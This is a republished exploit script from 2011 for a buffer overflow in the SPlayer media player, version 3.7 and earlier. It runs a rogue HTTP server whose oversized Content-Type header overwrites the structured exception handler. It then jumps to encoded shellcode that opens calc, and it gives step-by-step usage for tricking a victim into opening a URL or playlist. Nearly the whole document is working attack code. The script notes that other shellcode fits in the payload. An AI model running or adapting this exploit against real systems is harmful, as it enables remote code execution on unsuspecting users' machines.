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SPlayer <= 3.7 (build 2055) Buffer Overflow Exploit
来源:xsploitedsecurity [at] gmail [dot] com 作者:xsploitedsec 发布时间:2011-05-05  

#!/usr/bin/python
# Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow Exploit
# Date: May 04, 2011
# Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com>
# Software Link: http://www.splayer.org/index.en.html
# Versions: <= 3.7 (build 2055)
# Tested On: WinXP SP3 Eng / SPlayer 3.7 build 2055 (English Locale)
# CVE: N/A

# Software Descripton:
# "SPlayer is a simple and free high performance all-in-one audio and video player that was designed
# in order to help you easily view your videos, images and listen to your music files. SPlayer lets
# you enjoy your favorite music and movies"

# Vulnerability information:
# SPlayer is vulnerable to a remote buffer overflow when parsing a specially crafted HTTP header from
# a remote server. The bug is triggered due to the "Content-Type:" field being passed to the wcstol()
# function, prior to any bounds checking. This could allow an attacker to trick a remote user into
# opening a specially crafted playlist file, containing a URL pointing to a malicious web server.

# Usage:

# Method 1:
# 1. Execute this script ...
# 2. Launch SPlayer, right click and click open->URL (ctrl+u) ...
# 3. Input the server URL and Click OK ...
# 4. Boom!/calc ...

# Method 2:
# 1. Execute this script ...
# 2. Launch SPlayer and click Open (ctrl+o) ...
# 3. Browse to any playlist file (m3u, pls) It must contain the server URL! ...
# 4. Click Open ...
# 5. [wait til URL is loaded], Boom!/calc ...

# URL Examples:
# http://serverip/anyfilename.avi
# http://serverip:port/anyfilename.avi
# http://serverip/*

# Shouts:
# edb-team, corelanc0d3r/corelan-team, kaotix, sheep, deca, nemesis

import sys
import socket

bindaddr = "0.0.0.0"
bindport = 1234
banner = "Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1"

# calc shellcode / alpha_upper
calcshell = (         # Plenty of room for lots of shellcode here
"PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAP"
"AZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB3Y9R8Z9L8Y2RJT1N0V0Y0I0I0I0I0"
"I0I0I0I0I0I0C0C0C0C0C0C070Q0Z1Z110X0P001100112K11110Q02110B020B0B000B0B110B0X0P0"
"8110B2U0J0I0I2L0M080N1Y0E0P0G2P0C000Q2P0K090K0U0E1Q0H0R0B0D0L0K0B2R0P000L0K0F020"
"F2L0L0K0C1R0G1T0N2K0Q1R0D1X0D0O0L2W0C2Z0E2V0E1Q0I2O0F0Q0K2P0L2L0E2L0Q2Q0C0L0E0R0"
"D2L0G0P0O010J2O0D0M0G2Q0K2W0I2R0H2P0P0R0C1W0N2K0B2R0B000L0K0P0B0G0L0G2Q0H0P0N2K0"
"C2P0Q1X0K050K2P0P2T0Q0Z0E0Q0H0P0B2P0N2K0C2X0F2X0L0K0B2X0E2P0E0Q0N030I2S0G0L0P0I0"
"N2K0G0D0N2K0F1Q0I0F0P010I2O0E1Q0O000L2L0J1Q0H0O0F2M0C010O070G0H0K0P0B0U0L040E0S0"
"C0M0K0H0E2K0Q2M0Q040P2U0K0R0P0X0N2K0F080G0T0C010I0C0E060N2K0F2L0B2K0N2K0B2X0G2L0"
"C010K1S0N2K0G2T0L0K0C010H0P0L0I0Q0T0D1T0E2T0C2K0C2K0P1Q0B2Y0P0Z0P0Q0I2O0K0P0C1X0"
"C2O0C1Z0N2K0F2R0H2K0L0F0C2M0B0J0E0Q0N2M0N1U0O0I0G2P0C000E0P0B2P0Q2X0P010N2K0P2O0"
"O2W0K0O0J2U0M2K0J0P0N0U0I020F060E080N0F0L0U0O0M0M0M0K0O0I0E0E2L0F1V0Q2L0F1Z0M0P0"
"K0K0M000Q1U0G2U0O0K0P0G0D0S0Q1R0P2O0P1Z0C000Q0C0K0O0J2U0E030C0Q0P2L0E030D2N0B0E0"
"D080Q2U0C000E0Z1111KPA")

class Client():

 def about(self):
  about = "\r=======================================================================\n"
  about +=  " PoC Title: Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow\n"
  about +=  " Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com>\r\n"
  about +=  "======================================================================="
  print about

 def run (self):
  pre = "HTTP/1.1 200 OK\r\n"
  pre += "Date: Tue, 03 May 2011 04:18:38 GMT\r\n"
  pre += "Server: " + banner + "\r\n"
  pre += "Last-Modified: Sun, 03 Jul 2005 18:39:44 GMT\r\n"
  pre += "ETag: ""1f3814d-e6800-3fb032cba1c00""\r\n"
  pre += "Accept-Ranges: bytes\r\n"
  pre += "Content-Length: 99999\r\n"
  pre += "Connection: close\r\n"
  pre += "Content-Type: "

  #Begin evil buffer
  evil = "\x41" * 2073
  evil += "\x61\x73"  #popad/nop align

  evil += "\x25\x73"  #SE handler - ppr/splayer.exe [0x00730025]

  #Close the blinds
  evil += "\x73"   #nop/align
  evil += "\x55"   #push ebp
  evil += "\x73"   #nop/align
  evil += "\x58"   #pop eax
  evil += "\x73"   #nop/align

  #Align to EAX/execute shellcode
  evil += "\x05\x19\x11"  #add eax, 0x11001900
  evil += "\x73"   #nop/align
  evil += "\x2d\x11\x11"  #sub eax, 0x11001100
  evil += "\x73"   #nop/align
  evil += "\x50"   #push eax
  evil += "\x73"   #nop/align
  evil += "\xc3"   #ret

  evil += "\x46" * 1004  #align shellcode->EAX
  #End evil buffer

  padding = "\x44" * (30000 - len(pre + evil + calcshell)) + "\r\n"
  payload = pre + evil + calcshell + padding

  try:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.bind((bindaddr, bindport))
   s.listen(5)
   print "[+] Listening for incoming connections on port: %d" % bindport + " ..."
  except:
   print "[!] Error binding socket, is the port already in use?\r\n[-] Exiting"
   sys.exit()

  # Note: SPlayer seems to connect/send a GET request twice every time a URL is processed
  # and it crashes after the second request

  while 1:
   (clientsock, address) = s.accept()
   print "[*] New connection from", address[0]
   clientsock.recv(1024)
   sent = clientsock.send(payload)
   print "[+] Payload sent successfully [size: %d bytes]" % sent
   sent = 0
   print "[-] Closing connection to", address[0]
   clientsock.close()

if __name__ == "__main__":
 Client().about()
 Client().run()


 
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